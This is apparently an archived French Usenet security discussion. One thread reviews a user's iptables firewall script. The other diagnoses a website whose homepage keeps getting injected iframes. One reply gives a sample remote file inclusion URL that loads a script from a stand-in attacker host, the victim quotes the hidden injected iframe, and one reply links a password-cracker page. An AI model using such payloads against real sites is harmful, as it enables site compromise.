Mon firewall est-il correct ?
Mike Hanigan
Pouvez-vous me dire si j'ai bien configuré iptable pour verrouiller mon
serveur ?
# /sbin/iptables -L
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
REJECT all -- anywhere anywhere reject-with icmp-port-unreachable
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
J'aurais bien aimé essayer ca :
INPUT -i eth0 -p tcp --dport 22 --source domaine.dyndns.org -j ACCEPT
Où domaine.dyndns.org est relié à mon IP dynamique. Est-ce possible ? J'ai
pas envie de "tester".
Merci
Michel Arboi
> J'aurais bien aimé essayer ca :
> INPUT -i eth0 -p tcp --dport 22 --source domaine.dyndns.org -j ACCEPT
> Où domaine.dyndns.org est relié à mon IP dynamique. Est-ce possible ?
C'est possible, mais ça prendra l'IP à l'instant où la commande est
entrée; quand l'IP dynamique changera, la règle netfilter ne sera pas
mise à jour.
Pascal Hambourg
Mike Hanigan a écrit :
> Pouvez-vous me dire si j'ai bien configuré iptable pour verrouiller mon
> serveur ?
Voyons ça. Serveur de quoi ?
> # /sbin/iptables -L
C'est mieux avec l'option -v (verbose) en plus. Ou, encore mieux, lister
les règles avec 'iptables-save' au lieu de 'iptables -L'. Là, on ne voit
pas les interfaces notamment.
> Chain FORWARD (policy ACCEPT)
> target prot opt source destination
>
> Chain INPUT (policy ACCEPT)
La politique par défaut devrait être DROP par sécurité.
> target prot opt source destination
> ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
> ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
J'ajouterais state NEW et --syn à cette règle.
> REJECT all -- anywhere anywhere reject-with icmp-port-unreachable
A mon avis c'est mieux de rejeter les paquets TCP avec tcp-reset. A mon
avis toujours, un serveur devrait aussi répondre au ping (ICMP echo).
> Chain OUTPUT (policy ACCEPT)
> target prot opt source destination
C'est moyennement "verrouillé" de tout autoriser en sortie.
> J'aurais bien aimé essayer ca :
> INPUT -i eth0 -p tcp --dport 22 --source domaine.dyndns.org -j ACCEPT
>
> Où domaine.dyndns.org est relié à mon IP dynamique. Est-ce possible ? J'ai
> pas envie de "tester".
Et tu as raison, parce que le nom de domaine serait résolu en adresse IP
une fois pour toutes au moment de la création de la règle.
Mike Hanigan
> Salut,
Salut et merci
>
> Mike Hanigan a écrit :
>> Pouvez-vous me dire si j'ai bien configuré iptable pour verrouiller mon
>> serveur ?
>
> Voyons ça. Serveur de quoi ?
Serveur est mal choisis comme terme. Un butineur rsnapshot si je puis dire.
>
>> # /sbin/iptables -L
>
> C'est mieux avec l'option -v (verbose) en plus. Ou, encore mieux, lister
> les règles avec 'iptables-save' au lieu de 'iptables -L'. Là, on ne voit
> pas les interfaces notamment.
# Generated by iptables-save v1.3.0 on Tue Jul 4 12:20:10 2006
*filter
:FORWARD ACCEPT [0:0]
:INPUT ACCEPT [11637:56513595]
:OUTPUT ACCEPT [42070233:5617080871]
-A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Tue Jul 4 12:20:10 2006
Pas de lo. c'est grave ?
>
>> Chain FORWARD (policy ACCEPT)
>> target prot opt source destination
>>
>> Chain INPUT (policy ACCEPT)
>
> La politique par défaut devrait être DROP par sécurité.
Pardonnez ma lenteur mais hier, suite à votre message j'ai fais ma
boulette... Sans trop réfléchir j'ai collé INPUT, FORWARD et OUTPUT à DROP
en debut de script. C'est devenu immédiatement gênant.
-P INPUT DROP
-P OUTPUT DROP
-P FORWARD DROP
C'est ce que j'ai mis hier, mais sans la règle OUTPUT plus bas.
je met permet de faire une copie de mon script version corrigée pour la
soumettre à avis :)
IPT=/sbin/iptables
$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT
$IPT -A INPUT -i eth0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A INPUT -i eth0 -p tcp --dport 22 --syn -j ACCEPT
$IPT -A OUTPUT -o eth0 -m state --state NEW,ESTABLISHED -p tcp --dport 22 -j
ACCEPT
#$IPT -A INPUT -i eth0 -j REJECT
question subsidiaire.. Je peux utiliser, dans ce cas là, indifférament sport
et dport ?
merci
AlexG
> Pardonnez ma lenteur mais hier, suite à votre message j'ai fais ma
> boulette... Sans trop réfléchir j'ai collé INPUT, FORWARD et OUTPUT à DROP
> en debut de script. C'est devenu immédiatement gênant.
>
> -P INPUT DROP
> -P OUTPUT DROP
> -P FORWARD DROP
>
> C'est ce que j'ai mis hier, mais sans la règle OUTPUT plus bas.
>
> je met permet de faire une copie de mon script version corrigée pour la
> soumettre à avis :)
>
> IPT=/sbin/iptables
>
> $IPT -P INPUT DROP
> $IPT -P OUTPUT DROP
> $IPT -P FORWARD DROP
>
> $IPT -A INPUT -i lo -j ACCEPT
> $IPT -A OUTPUT -o lo -j ACCEPT
>
> $IPT -A INPUT -i eth0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
> $IPT -A INPUT -i eth0 -p tcp --dport 22 --syn -j ACCEPT
> $IPT -A OUTPUT -o eth0 -m state --state NEW,ESTABLISHED -p tcp --dport 22 -j
> ACCEPT
> #$IPT -A INPUT -i eth0 -j REJECT
>
> question subsidiaire.. Je peux utiliser, dans ce cas là, indifférament sport
> et dport ?
> merci
Pour faire du SSH (serveur), il faut autoriser le port 22 en
destination (--dport) seulement pour la chaîne INPUT. --sport
correspondra au port source (port "haut") sur la machine cliente,
typiquement un numéro de port choisi par l'OS >= 1024. D'ailleurs, si
vous voulez, vous pouvez d'ailleurs ajouter la contrainte pour vérifier
que le client se connecte bien avec un tel port, ce qui devrait toujours
être le cas, par exemple:
$IPT -A INPUT -i eth0 -p tcp --sport 1024: --dport 22 --syn -j ACCEPT
Par contre, la règle OUTPUT (SSH) me paraît étrange:
1. Si cette règle est destinée à autoriser SSH sur le serveur (donc
indissociable de la règle INPUT SSH), elle ne fonctionnera pas car le
port destination du paquet "réponse" ne sera pas 22 mais le port dont
j'ai parlé plus haut car on veut laisser passer la réponse du serveur au
client. Donc, si on veut ajouter le port pour être plus fin, il faut
mettre --sport 22 et non pas --dport 22 pour cette règle. De plus,
--state *NEW* ne devrait pas être là.
2. Si cette règle est destinée à autoriser le SSH depuis ce poste (en
client), c'est bon mais il manque dans ce cas le cas 1.
Vous pouvez éventuellement laisser une règle REJECT pour la chaine
OUTPUT à la fin, pour permettre au serveur d'être "informé" du rejet en
sortant au lieu de subir un timeout à chaque "refus" de paquet.
Enfin, voici deux règles supplémentaires que j'utilise et qui pourraient
vous intéresser; celles-ci permettent d'éliminer d'autres paquets mal
formés qui pourraient cependant passer dans votre règle SSH en INPUT.
Vous pouvez donc les ajouter avant "$IPT -A INPUT -i eth0 -m state
--state NEW,ESTABLISHED,RELATED -j ACCEPT":
$IPT -A INPUT -m state --state INVALID -j DROP
$IPT -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option \! 2 -j DROP
Alex.
Jean-noel Lafargue
<iframes> et des pop-ups qui pointent vers des sites commerciaux : j'ai du
laisser traîner une autorisation foireuse quelque part... Il faut dire que
je ne connais vraiment rien en sécurité et je le paie, donc. Quelqu'un
peut-il me dire ce que je dois chercher sur mon serveur pour combler le trou
de sécurité ? Il s'agit d'un site situé chez un hébergeur commercial a
priori sérieux (ils me disent, en tout cas, que je suis le seul à qui ça
arrive). Les logs FTP (auxquels l'hébergeur a accès, mais pas moi) sont
apparemment effacés par le pirate ! Bref très casse-pied, donc si quelqu'un
a un conseil, une idée, je prends !
jn
Eric Razny
> Il s'agit d'un site situé chez un
> hébergeur commercial a priori sérieux (ils me disent, en tout cas, que
> je suis le seul à qui ça arrive). Les logs FTP (auxquels l'hébergeur a
> accès, mais pas moi) sont apparemment effacés par le pirate ! Bref très
> casse-pied, donc si quelqu'un a un conseil, une idée, je prends !
Qu'est-ce qui te permet de dire que les logs ftp sont effacés?
Est-ce la seule manière d'uploader des pages sur ton site? (pas de
webdav, ssh...?)
Ton site est-il statique ou dynamique? Dans le deuxième cas as-tu
vérifié qu'il n'est pas possible d'appeler des appli externe (include
foireux, possibilité de mettre une url en paramètre etc).
Si tu es *certain* que ça ne vient pas de ton côté et que les logs ftp
sont effacés alors le problème vient de ton hébergeur (même si tu as
laisser trainer le password du compte ftp les logs ne devraient pas
pouvoir être effacé).
Sans précision de ta part on ne pourra pas trop t'aider (en plus si
vraiment ton site est à l'état de passoire c'est délicat de demander
son adresse ici! :) ).
Eric.
Pascal Hambourg
>
> Enfin, voici deux règles supplémentaires que j'utilise et qui pourraient
> vous intéresser; celles-ci permettent d'éliminer d'autres paquets mal
> formés qui pourraient cependant passer dans votre règle SSH en INPUT.
> Vous pouvez donc les ajouter avant "$IPT -A INPUT -i eth0 -m state
> --state NEW,ESTABLISHED,RELATED -j ACCEPT":
>
> $IPT -A INPUT -m state --state INVALID -j DROP
> $IPT -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option \! 2 -j DROP
Tiens, j'écrivais l'autre jour dans une liste de diffusion que je
trouvais que ce n'était pas une bonne pratique de faire précéder une
règle ACCEPT trop permissive par une ou plusieurs règles DROP en
comptant sur ces dernières pour bloquer les paquets indésirables que la
règle ACCEPT aurait acceptés sinon. En effet si une règle DROP n'est pas
chargée pour une raison quelconque (manque de mémoire, erreur de
syntaxe, module manquant...), le résultat est plus permissif que prévu.
En poussant le raisonnement à l'extrême, on devrait pouvoir retirer
toutes les règles DROP d'un jeu de règles bien écrit sans en altérer la
sécurité.
Pourquoi ne pas simplement mettre toutes les conditions d'acceptation
nécessaires dans les règles ACCEPT ? Et si on souhaite "factoriser" des
conditions communes à plusieurs règles, on peut regrouper ces règles
dans une chaîne utilisateur.
Jean-noel Lafargue
> Qu'est-ce qui te permet de dire que les logs ftp sont effacés?
> Est-ce la seule manière d'uploader des pages sur ton site? (pas de
> webdav, ssh...?)
Je n'ai pas accès aux logs FTP, et quand je les ai demandés à mon hébergeur,
celui-ci m'a juste dit "c'est bizarre, vos logs FTP commencent à telle
date..." (la date du piratage que je venais de constater) et, je cite : "Ce
qui signifie peut être que cette personne à utilisé un script pour effacer
vos dossiers qui avaient des permissions supérieures à 755 (pareil pour les
fichiers)."
> Ton site est-il statique ou dynamique? Dans le deuxième cas as-tu
> vérifié qu'il n'est pas possible d'appeler des appli externe (include
> foireux, possibilité de mettre une url en paramètre etc).
il y a pas mal de pages dynamiques, en général elles interdisent de passer
le ";" en argument, il me semblait que ça suffisait à se prémunir des
attaques par url... Mais en même temps je ne suis pas un dieu de PHP et des
erreurs sont possibles.
typiquement, la home page en question se voit rajouter des iframes comme
<iframe src="http://hebforum.free.fr/" width="0" height="0"></iframe>
(j'ai contacté hebforum.free.fr ... pas de réponse), soit dans le corps de
la page, soit dans un fichier extérieur appelé par include.
> Si tu es *certain* que ça ne vient pas de ton côté et que les logs ftp
> sont effacés alors le problème vient de ton hébergeur (même si tu as
> laisser trainer le password du compte ftp les logs ne devraient pas
> pouvoir être effacé).
Comme je n'ai pas accès à ces logs en plus, je n'y comprends pas grand
chose.
> Sans précision de ta part on ne pourra pas trop t'aider (en plus si
> vraiment ton site est à l'état de passoire c'est délicat de demander
> son adresse ici! :) ).
ah mais je le donne sans problème car il faut que je comprenne :
http://www.hyperbate.com
... Et si les problèmes persistent, j'effacerais la totalité du site.
Si il se trouve ici un hacker (gentil) capable d'identifier le trou de
sécurité, il me fera un grand plaisir ! (ne pas hésiter à me contacter à
n'importe quoi @hyperbate.com)
Ce qui m'étonne c'est que :
- je connais tous les php du site, les ayant écrits moi-même
- je sais parfaitement que mes identifiants/mots de passe ne trainent pas
n'importe où, étant finalement assez parano.
Nicob
> Un plaisantin modifie régulièrement ma home-page pour y ajouter des
> <iframes> et des pop-ups qui pointent vers des sites commerciaux
Par expérience, je penserais à une compromission du compte FTP, via un
keylogger ou un extracteur de base de registre (et donc une compromission
d'un des postes utilisés pour la mise à jour).
Nicob
Eric Razny
Salut
Question con:
chez moi si je donne un login/password d'un compte ftp,
sauf s'il y a une faille sur le serveur ftp (le soft ou la conf) ou
éventuellement dans le noyau, je ne vois pas trop comment tu efface les
logs. (sauf si l'herbergeur est assez <biiip :) > pour les laisser dans
l'espace accessible par ftp ou via des scripts lancés ensuite en http)
Pour la partie concernant la modif du site il y a pas mal de
possibilités, mais pour les logs c'est moins facile.
Une idée?
Eric.
Jean-noel Lafargue
> Question con:
> chez moi si je donne un login/password d'un compte ftp,
> sauf s'il y a une faille sur le serveur ftp (le soft ou la conf) ou
> éventuellement dans le noyau, je ne vois pas trop comment tu efface les
> logs. (sauf si l'herbergeur est assez <biiip :) > pour les laisser dans
> l'espace accessible par ftp ou via des scripts lancés ensuite en http)
> Pour la partie concernant la modif du site il y a pas mal de
> possibilités, mais pour les logs c'est moins facile.
> Une idée?
je me demande si mon hébergeur est si sérieux que ça finalement :-)
Ils ont beau me dire qu'il n'y a que moi, cette histoire de logs effacés,
c'est curieux !
Jean-noel Lafargue
> Par expérience, je penserais à une compromission du compte FTP, via un
> keylogger ou un extracteur de base de registre (et donc une compromission
> d'un des postes utilisés pour la mise à jour).
non non, ce n'est pas ça, le seul poste utilisé pour la mise à jour, c'est
ma machine, et y'a que moi qui y touche :-)
Eric Masson
'Lut,
> non non, ce n'est pas ça, le seul poste utilisé pour la mise à jour, c'est
> ma machine, et y'a que moi qui y touche :-)
Oui et ?
Un keylogger s'installe très facilement sans avoir besoin d'une présence
physique sur la machine.
--
> Passe que moi, au départ, j'avais fait informatique comme études, pas
> NT, et je voudrais revenir à mon métier premier.
-+- BB in Guide du Linuxien pervers - Bien configurer son metier.
Vincent Bernat
22:27, Eric Razny <new...@razny.net> disait:
> chez moi si je donne un login/password d'un compte ftp,
> sauf s'il y a une faille sur le serveur ftp (le soft ou la conf) ou
> éventuellement dans le noyau, je ne vois pas trop comment tu efface les
> logs. (sauf si l'herbergeur est assez <biiip :) > pour les laisser dans
> l'espace accessible par ftp ou via des scripts lancés ensuite en
> http)
Il me semble que Free le fait et je ne trouve pas ça particulièrement
idiot : cela permet de rendre accessibles les logs facilement au
client.
Dans le cas présent, il me semble que ce n'est pas très clair. A
priori, les logs ne semblent pas accessibles par le serveur FTP.
L'hébergeur semble dir qu'ils seraient accessibles par les scripts
PHP. Est-ce que le PHP tourne en safe mode ?
--
if (user_specified)
/* Didn't work, but the user is convinced this is the
* place. */
2.4.0-test2 /usr/src/linux/drivers/parport/parport_pc.c
Eric Razny
>> chez moi si je donne un login/password d'un compte ftp, sauf s'il y a
>> une faille sur le serveur ftp (le soft ou la conf) ou éventuellement
>> dans le noyau, je ne vois pas trop comment tu efface les logs. (sauf si
>> l'herbergeur est assez <biiip :) > pour les laisser dans l'espace
>> accessible par ftp ou via des scripts lancés ensuite en http)
>
> Il me semble que Free le fait et je ne trouve pas ça particulièrement
> idiot : cela permet de rendre accessibles les logs facilement au
> client.
Est-ce que ces logs sont en lecture seule, dans un répertoire dont
l'utilisateur n'a pas les droit d'écriture?
Si ce n'est pas le cas (avec tout autre gag qui permet d'effacer les
logs[1]) je trouve personnellement ça idiot :)
Rendre les logs accessibles au client c'est bien, modifiable par le client
c'est "mal".
> Dans le cas présent, il me semble que ce n'est pas très clair. A
> priori, les logs ne semblent pas accessibles par le serveur FTP.
> L'hébergeur semble dir qu'ils seraient accessibles par les scripts
> PHP. Est-ce que le PHP tourne en safe mode ?
Je laisse ça dans la même catégorie qu'au dessus (et le "http user" ou
autre -suexec?- qui fait tourner les scripts n'a pas de droit sur les logs
en principe)
Eric
[1] Protection des répertoire en amont, programme en suid suffisant pour
effacer/modifier ce qu'il faut, etc etc.
On parle sans arrêt des attaques distantes, des failles des applis
locales, du noyau etc mais amha on oublie fréquement le paramètrage des
unix-like qui n'est pas nécessairement une sinécure (on voit encore des
. dans le PATH root, des 777 en permission sur /bin, j'en passe et des
meilleures) et des applications (il y a quelques années un ftp qui
permettait d'aller où il ne faut pas, suivit d'une compromission en
passant par un serveur sql via http. Aucune faille soft, "juste" une
erreur de paramètrage).
Alex G.
> Tiens, j'écrivais l'autre jour dans une liste de diffusion que je
> trouvais que ce n'était pas une bonne pratique de faire précéder une
> règle ACCEPT trop permissive par une ou plusieurs règles DROP en
> comptant sur ces dernières pour bloquer les paquets indésirables que la
> règle ACCEPT aurait acceptés sinon. En effet si une règle DROP n'est pas
> chargée pour une raison quelconque (manque de mémoire, erreur de
> syntaxe, module manquant...), le résultat est plus permissif que prévu.
Bonjour,
Je comprends l'argument cependant je ne pense pas qu'il faille voir
les différentes règles comme des entités si individuelles que cela.
L'oubli d'une règle est une erreur de paramétrage qui est tout à fait
comparable à l'oubli/l'erreur d'une condition dans une autre. Dans tous
les cas le filtrage est compromis. C'est au paramétreur de vérifier et
tester le jeu de règles.
J'ai également du mal a voir ce que cela apporte réellement et ce
qu'il est réellement possible de faire avec cette idée.
> En poussant le raisonnement à l'extrême, on devrait pouvoir retirer
> toutes les règles DROP d'un jeu de règles bien écrit sans en altérer la
> sécurité.
>
> Pourquoi ne pas simplement mettre toutes les conditions d'acceptation
> nécessaires dans les règles ACCEPT ?
* D'un point de vue maintenance, je ne pense pas que cette maniere de
faire soit efficace. En effet, si je veux changer une condition de refus
de paquet de ce genre, je vais devoir changer la condition dans tous les
ACCEPT qui l'avaient en commun au risque d'en oublier un !
De plus, je ne vois pas vraiment comment cela est (toujours)
possible. Par exemple, comment (et pourquoi !?) devrais-je re-ecrire
ceci en une ligne ACCEPT ???
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option \! 2 -j DROP
iptables -A INPUT -m state --state NEW,RELATED -p tcp --tcp-flags ! ALL
SYN -j DROP
iptables -A INPUT -i eth9 -s 10.0.0.0/8 -j DROP
iptables -A INPUT -i eth9 -s 127.0.0.0/8 -j DROP
iptables -A INPUT -i eth9 -p tcp --dport 123 -j ACCEPT
* D'un point de vue performance, je ne connais pas suffisamment les
mécanismes internes de netfilter mais j'imagine que le système devrait
réévaluer les mêmes conditions n fois pour n ACCEPT ! Pour pousser le
bouchon, cela veut dire également que toutes les conditions (aux
optimisations près) de tous les ACCEPT seront évaluées avant de
s'apercevoir qu'un paquet est non valide (DROP final ou politique par
défaut!).
> Et si on souhaite "factoriser" des
> conditions communes à plusieurs règles, on peut regrouper ces règles
> dans une chaîne utilisateur.
D'un point de vue lisibilité et maintenance, je pense qu'il _faut_
factoriser mais je ne vois pas en quoi ceci règle votre problème de
"sécurité" dû à l'oubli/l'erreur éventuel d'une règle DROP.
Ce qu'il ne faut pas faire, c'est mettre des DROP à gogo redondants
pour le plaisir mais, bien dosés, je pense au contraire que la bonne
pratique est de "factoriser" ce qui peut l'être avec ou sans chaîne
utilisateur selon la taille du jeu de règles. A mon sens, on peut même
mettre certains DROP redondants en tête de du jeu de règles car on sait
que tel type de paquets correspond à 95 % des paquets à refuser; ce qui
aura pour effet de ne pas évaluer les autres règles pour ces 95% de
refusés.
Même dans les acs où cela est possible, je ne pense vraiment pas
qu'il soit judicieux de vouloir tout re décrire à chaque règle.
A+
Alex.
Jean-noel Lafargue
> Oui et ?
> Un keylogger s'installe très facilement sans avoir besoin
> d'une présence physique sur la machine.
je n'y crois pas pour trois raisons
la première est que je fais assez attention à ce qui traîne sur ma machine
et que je surveille régulièrement les processus qui tournent dessus.
la seconde, c'est que mon site n'est pas une cible particulièrement
intéressante à pirater, j'en déduis donc que c'est une cible facile
la troisième c'est que je ne rentre jamais de mots de passe, mon client FTP
(le très classique Cute FTP... Pas mauvaise réputation que je sache) s'en
charge pour moi.
Nicob
J'adooooore ton post (humour !). Il véhicule quelques unes des idées
reçues les plus classiques et les plus dangereuses quant à la sécurité
d'un site Web.
> la seconde, c'est que mon site n'est pas une cible particulièrement
> intéressante à pirater
Faux. Pour monter un site de phishing ou héberger le centre de contrôle
d'un botnet, un site quelconque chez un hébergeur quelconque est très
largment suffisant. Et sans doute moins surveillé qu'un "gros" site.
> j'en déduis donc que c'est une cible facile
Une cible facile, pour ces gars là, c'est soit :
- un site avec une faille connue et aisément exploitable (awstats)
- un site exploitable via une faille de sécu générique (style
"/index.php?lang=http://badboy.com/hackme.php%00")
- un site dont il a déjà l'identifiant et mot de passe FTP
> la troisième c'est que je ne rentre jamais de mots de passe, mon client FTP
> [...] s'en charge pour moi.
Donc le mot de passe est soit en base de registre soit sur disque. Et
l'éventuelle "obfuscation" est réversible, vu que le mot de passe doit
être envoyé en clair. Et ça fait des années que les backdoors/chevaux
de Troie/RAT récupèrent ces infos et les font suivre au gars qui les
contrôle. Qui parfois les revend à des phishers ...
Nicob
Eric Razny
Tu en as encore beaucoup des conneries du genre?
http://www.password-crackers.com/en/category_162/
(et encore, en 5s de recherche avec "cute ftp password recovery"...
Pour ce qui est des process qui tourne je te suggère de chercher rootkit
sur un moteur de recherche.
Pour le "petit site" : cf (entre autre) aléatoire, script kiddies,
zombies... (ça vaut aussi pour les machines perso).
Même si j'ai une forte présomption sur (au moins) un problème avec ton
hébergeur (à cause des logs) tu devrais éviter d'être trop sur de toi.
J'ai l'habitude de dire : je n'ai pas *encore* été hacké *à ma
connaissance*. Tu comprends ce que je veux exprimer?
Entre autre, la remise en cause fait partie de la sécurité (qui est
décidement tout sauf un process :) ).
Eric
Pascal Hambourg
> Pascal Hambourg wrote:
>
>> Tiens, j'écrivais l'autre jour dans une liste de diffusion que je
>> trouvais que ce n'était pas une bonne pratique de faire précéder une
>> règle ACCEPT trop permissive par une ou plusieurs règles DROP en
>> comptant sur ces dernières pour bloquer les paquets indésirables que
>> la règle ACCEPT aurait acceptés sinon. En effet si une règle DROP
>> n'est pas chargée pour une raison quelconque (manque de mémoire,
>> erreur de syntaxe, module manquant...), le résultat est plus permissif
>> que prévu.
>
> les différentes règles comme des entités si individuelles que cela.
Le fait est qu'une règle est une entité indépendante, alors qu'une
condition ne l'est pas. Si la création d'une règle échoue, cela
n'affecte pas la création des autres règles. Si l'expression d'une
condition dans une règle provoque une erreur, cela empêche la création
de la règle au lieu que la règle soit créée sans cette condition.
> L'oubli d'une règle est une erreur de paramétrage qui est tout à fait
> comparable à l'oubli/l'erreur d'une condition dans une autre. Dans tous
> les cas le filtrage est compromis.
Je ne parle pas d'oubli mais d'échec de la création d'une règle. Echec
qui peut avoir de multiples causes, par exemple :
- erreur de syntaxe, ou changement de syntaxe suite à une mise à jour
d'iptables ;
- manque de mémoire disponible au moment de la tentative de création ;
- règle faisant appel à un module du noyau manquant, par exemple après
installation d'un nouveau noyau ne contenant pas ce module ;
- incompatibilité entre les versions du noyau et d'iptables ;
- bugs divers et variés...
> J'ai également du mal a voir ce que cela apporte réellement et ce
> qu'il est réellement possible de faire avec cette idée.
D'une part, plus de sécurité en cas d'échec de création d'une règle.
D'autre part, cela oblige à essayer de raisonner en positif ("j'accepte
ceci") plutôt qu'en négatif ("je bloque ceci").
>> Pourquoi ne pas simplement mettre toutes les conditions d'acceptation
>> nécessaires dans les règles ACCEPT ?
>
> * D'un point de vue maintenance, je ne pense pas que cette maniere de
> faire soit efficace. En effet, si je veux changer une condition de refus
> de paquet de ce genre, je vais devoir changer la condition dans tous les
> ACCEPT qui l'avaient en commun au risque d'en oublier un !
Je le conçois aisément, c'est pourquoi j'ai proposé le recours aux
chaînes utilisateur pour factoriser les conditions communes dans la
mesure du possible.
> De plus, je ne vois pas vraiment comment cela est (toujours) possible.
Il est clair qu'on ne peut pas forcément tout factoriser, il peut y
avoir des répétitions inévitables.
> Par exemple, comment (et pourquoi !?) devrais-je re-ecrire ceci en une
> ligne ACCEPT ???
>
> iptables -A INPUT -m state --state INVALID -j DROP
> iptables -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option \! 2 -j DROP
> iptables -A INPUT -m state --state NEW,RELATED -p tcp --tcp-flags ! ALL
> SYN -j DROP
> iptables -A INPUT -i eth9 -s 10.0.0.0/8 -j DROP
> iptables -A INPUT -i eth9 -s 127.0.0.0/8 -j DROP
> iptables -A INPUT -i eth9 -p tcp --dport 123 -j ACCEPT
Il n'est évidemment pas question de réécrire tout ça en une seule ligne,
d'autant plus que ces règles concernent des types de paquets différents.
On peut toutefois supprimer tous les DROP en ayant recours à des chaînes
utilisateur. Sans chercher à discuter la pertinence de ces règles ni
optimiser le résultat, je propose ceci (désolé de mon manque
d'imagination pour nommer les chaînes utilisateur) :
iptables -A INPUT -m state --state ! INVALID -j chaine1
iptables -A chaine1 -p ! tcp -j chaine3
iptables -A chaine1 -p tcp --tcp-flags ! SYN SYN -j chaine2
iptables -A chaine1 -p tcp --tcp-option 2 -j chaine2
iptables -j chaine2 -m state --state NEW,RELATED -p tcp \
--tcp-flags ALL SYN -j chaine3
iptables -j chaine2 -m state --state ESTABLISHED -j chaine3
iptables -A chaine3 -i eth9 -s ! 10.0.0.0/8 -j chaine4
iptables -A chaine4 -s ! 127.0.0.0/8 -j chaine5
iptables -A chaine5 -p tcp --dport 123 -j ACCEPT
Néanmoins ce genre de réécriture pourrait être l'occasion d'une
réorganisation plus rationnelle des règles en arbre, en triant par état,
protocole, interface...
> D'un point de vue lisibilité et maintenance, je pense qu'il _faut_
> factoriser mais je ne vois pas en quoi ceci règle votre problème de
> "sécurité" dû à l'oubli/l'erreur éventuel d'une règle DROP.
Une règle DROP manquante => résulat plus permissif que prévu.
Une règle ACCEPT manquante => résultat moins permissif que prévu.
> Ce qu'il ne faut pas faire, c'est mettre des DROP à gogo redondants
> pour le plaisir
Il faut surtout ne pas mettre de règles DROP indispensables, qui ne
soient pas redondantes avec les conditions des règles ACCEPT. Le risque
est d'oublier une condition de rejet dans une de ces règles. Dans ce
cas, le jeu de règles est plus permissif que prévu, ce qui peut causer
un trou de sécurité pas forcément facile à détecter.
> mais, bien dosés, je pense au contraire que la bonne
> pratique est de "factoriser" ce qui peut l'être avec ou sans chaîne
> utilisateur selon la taille du jeu de règles. A mon sens, on peut même
> mettre certains DROP redondants en tête de du jeu de règles car on sait
> que tel type de paquets correspond à 95 % des paquets à refuser; ce qui
> aura pour effet de ne pas évaluer les autres règles pour ces 95% de
> refusés.
Pourquoi pas, à conditions que les règles DROP ne soient pas
indispensables et soient mises en place uniquement dans un but
d'optimisation. Mais à mon avis il est quasiment aussi efficace
d'aiguiller les paquets "acceptables" vers une chaîne utilisateur,
sachant que les autres paquets tomberont sur une règle DROP finale ou
sur la politique par défaut (à DROP, bien sûr) de la chaîne principale
traversée. Comme je l'ai écrit, on devrait pouvoir supprimer toutes les
règles DROP sans altérer la sécurité.
Jean-noel Lafargue
> J'adooooore ton post (humour !). Il véhicule quelques unes des idées
> reçues les plus classiques et les plus dangereuses quant à la sécurité
> d'un site Web.
De mon côté, je ne suis pas certain de raffoler de la condescendance
techniciste.
C'est la preincipale cause de l'ignorance technique des gens comme moi : un
peu de pédagogie et de patience ne fait de mal à personne (je ne suis qu'un
couillon de prof d'arts plastiques qui a un problème à régler, hein).
Donc si ça ne te coûte pas trop, essaie de changer de ton (ou de point de
vue)
>> la seconde, c'est que mon site n'est pas une cible particulièrement
>> intéressante à pirater
> Faux. Pour monter un site de phishing ou héberger le centre de contrôle
> d'un botnet, un site quelconque chez un hébergeur quelconque est très
> largment suffisant. Et sans doute moins surveillé qu'un "gros" site.
mais c'est là que je m'étonne : la seule page piratée sur mon site c'est la
homepage.
si j'étais un pirate et que je cherchais à utiliser des sites web à leur
insu, ça serait en me servant de dossiers ou de pages paumées et oubliées
dans un coin... ?
>> j'en déduis donc que c'est une cible facile
> Une cible facile, pour ces gars là, c'est soit :
> - un site avec une faille connue et aisément exploitable (awstats)
> - un site exploitable via une faille de sécu générique (style
> "/index.php?lang=http://badboy.com/hackme.php%00")
> - un site dont il a déjà l'identifiant et mot de passe FTP
awstats est une faille connue ? hmmm.
mon hébergeur a justement ajouté awstats à webalizer dans les outils
fournis.
>> la troisième c'est que je ne rentre jamais de mots de passe, mon client
>> FTP
>> [...] s'en charge pour moi.
> Donc le mot de passe est soit en base de registre soit sur disque. Et
> l'éventuelle "obfuscation" est réversible, vu que le mot de passe doit
> être envoyé en clair. Et ça fait des années que les backdoors/chevaux
> de Troie/RAT récupèrent ces infos et les font suivre au gars qui les
> contrôle. Qui parfois les revend à des phishers ...
effectivement.
mais je gère des dizaines de sites web, avec le même outil, depuis le même
ordinateur, et de la même façon. Je suis curieux de comprendre pourquoi un
de ces sites est piraté et pas les autres.
Jean-noel Lafargue
> Tu en as encore beaucoup des conneries du genre?
Sûrement, mais reste poli s'il te plait, je ne viens pas ici pour me
castagner.
Tout le monde n'est pas spécialiste de la sécurité informatique et si je
suis venu ici en parler c'est justement précisément parce que je ne suis pas
spécialiste. Le fait que j'aie certaines certitudes (basées sur le fait que,
jusqu'ici, je n'avais pas rencontré trop de problèmes) ne fait pas de moi un
simple d'esprit - juste un être cognitif, puisque le cerveau a constament
besoin de certitudes pour avancer.
> http://www.password-crackers.com/en/category_162/
> Pour ce qui est des process qui tourne je te suggère de chercher rootkit
> sur un moteur de recherche.
> Pour le "petit site" : cf (entre autre) aléatoire, script kiddies,
> zombies... (ça vaut aussi pour les machines perso).
mais pourquoi sur la home page où c'est si facile à détecter ?
> Même si j'ai une forte présomption sur (au moins) un problème avec ton
> hébergeur (à cause des logs) tu devrais éviter d'être trop sur de toi.
certes
> J'ai l'habitude de dire : je n'ai pas *encore* été hacké *à ma
> connaissance*. Tu comprends ce que je veux exprimer?
